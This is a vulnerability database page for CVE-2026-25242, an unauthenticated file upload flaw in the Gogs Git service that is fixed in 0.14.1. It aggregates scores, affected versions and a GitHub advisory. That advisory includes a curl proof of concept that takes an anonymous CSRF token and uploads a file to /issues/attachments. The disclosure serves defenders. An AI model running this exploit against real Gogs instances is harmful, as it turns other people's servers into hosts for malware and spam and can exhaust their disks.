CVE-2026-25242
JSON

6.9medium

Gogs allows unauthenticated file uploads

Severity
6.9medium CVSS:4.0 by GitHub_M
Exploit likelihood
2.41% (higher than 84% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-fc3h-92p8-h36fGO-2026-4500

Description

Gogs is an open source self-hosted Git service. Versions 0.13.4 and below expose unauthenticated file upload endpoints by default. When the global RequireSigninView setting is disabled (default), any remote user can upload arbitrary files to the server via /releases/attachments and /issues/attachments. This enables the instance to be abused as a public file host, potentially leading to disk exhaustion, content hosting, or delivery of malware. CSRF tokens do not mitigate this attack due to same-origin cookie issuance. This issue has been fixed in version 0.14.1.

Affected

Product or packageVersionsReported by
gogs gogs< 0.14.1, before 0.14.1CVE List, NVD
gogs.io/gogs (Go)before 0.14.1, all versionsGitHub Advisory Database, Go Vulnerability Database

All scores

GitHub_M6.9medium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
GitHubmedium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
NVD9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-862

SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.

What each source says

CVE List

Gogs is an open source self-hosted Git service. Versions 0.13.4 and below expose unauthenticated file upload endpoints by default. When the global RequireSigninView setting is disabled (default), any remote user can upload arbitrary files to the server via /releases/attachments and /issues/attachments. This enables the instance to be abused as a public file host, potentially leading to disk exhaustion, content hosting, or delivery of malware. CSRF tokens do not mitigate this attack due to same-origin cookie issuance. This issue has been fixed in version 0.14.1.

GitHub Advisory Database

Security Advisory:Unauthenticated File Upload in Gogs Vulnerability Type: Unauthenticated File Upload Date: Aug 5, 2025 Discoverer: OpenAI Security Research

Summary

Gogs exposes unauthenticated file upload endpoints by default. When the global RequireSigninView setting is disabled (default), any remote user can upload arbitrary files to the server via /releases/attachments and /issues/attachments. This enables the instance to be abused as a public file host, potentially leading to disk exhaustion, content hosting, or delivery of malware. CSRF tokens do not mitigate this attack due to same-origin cookie issuance.

Affected Versions

  • Software: Gogs
  • Confirmed Version(s): 28f83626d4ed0aa7b89493be2ea8b79ca038331e
  • Likely Affected: All versions since 2020-04-05 with unauthenticated attachments endpoints
  • Introduced Commit: 07818d5fa

Vulnerability Details

The web.go router exposes the following endpoints under the ignSignIn route group:

Vulnerable Code Snippet
m.Post("/issues/attachments", repo.UploadIssueAttachment)
m.Post("/releases/attachments", repo.UploadReleaseAttachment)

These endpoints are accessible by unauthenticated users if the configuration variable RequireSigninView is false (default). This allows arbitrary file uploads to data/attachments, returning a UUID in response.

While CSRF protection is enabled, attackers can obtain a valid token anonymously from the site and use it in the upload request without authentication.

Description

Anonymous file upload using only default configuration and a CSRF token obtained from the homepage.

POC

# Run Gogs docker 
docker start gogs

# Software will be run on http://localhost:10880/. Finish the setup with local Sqlite database

# Get CSRF cookie into a jar
curl -sS -c cookies.txt http://localhost:10880/ -o /dev/null

# Extract the _csrf value from the jar
CSRF="$(awk '$6=="_csrf"{print $7}' cookies.txt | tail -n1)"

# Upload the file, sending cookie jar + header
curl -sS \
  -b cookies.txt -c cookies.txt \
  -H "X-CSRF-Token: $CSRF" \
  -H "Referer: http://localhost:10880/" \
  -F "file=@image.png" \
  http://localhost:10880/issues/attachments

 => {"uuid":"<UUID>"}

The attachment will be available at: http://localhost:10880/attachments/<uuid>

Impact

Unrestricted File Upload: Attackers can store arbitrary content on the server. Denial-of-Service: Repeated uploads can exhaust disk space. Malware Hosting: Gogs may inadvertently serve attacker-hosted payloads under its domain.

Realistic Exploitation Scenarios

  • Spammers or malicious actors use the Gogs instance to host phishing payloads or malware.
  • Attackers fill up disk with repeated uploads.
  • Attackers use hosted Gogs instances as public file dumps (e.g., for P2P, exfiltration)

Potential Impact

This unauthenticated upload vector effectively turns any Gogs instance into a file hosting platform open to the public. This is especially dangerous for production or Internet-exposed installations. The combination of no login requirement, wildcard MIME support, and unrestricted access to attachments enables both resource abuse and potential malware distribution.

Timeline

Go Vulnerability Database

Unauthenticated File Upload in Gogs in gogs.io/gogs.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: gogs.io/gogs before v0.14.1.

NVD (es)

Gogs es un servicio Git autoalojado de código abierto. Las versiones 0.13.4 e inferiores exponen endpoints de carga de archivos no autenticados por defecto. Cuando la configuración global RequireSigninView está deshabilitada (por defecto), cualquier usuario remoto puede cargar archivos arbitrarios al servidor a través de /releases/attachments y /issues/attachments. Esto permite que la instancia sea utilizada indebidamente como un host de archivos público, lo que podría llevar al agotamiento del disco, al alojamiento de contenido o a la entrega de malware. Los tokens CSRF no mitigan este ataque debido a la emisión de cookies del mismo origen. Este problema ha sido solucionado en la versión 0.14.1.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-25242 changed 2026-02-19CVE Terms of Use
GitHub Advisory DatabaseGHSA-fc3h-92p8-h36f changed 2026-02-23CC-BY-4.0
Go Vulnerability DatabaseGO-2026-4500 changed 2026-02-23CC-BY-4.0
NVDCVE-2026-25242 changed 2026-06-17Public domain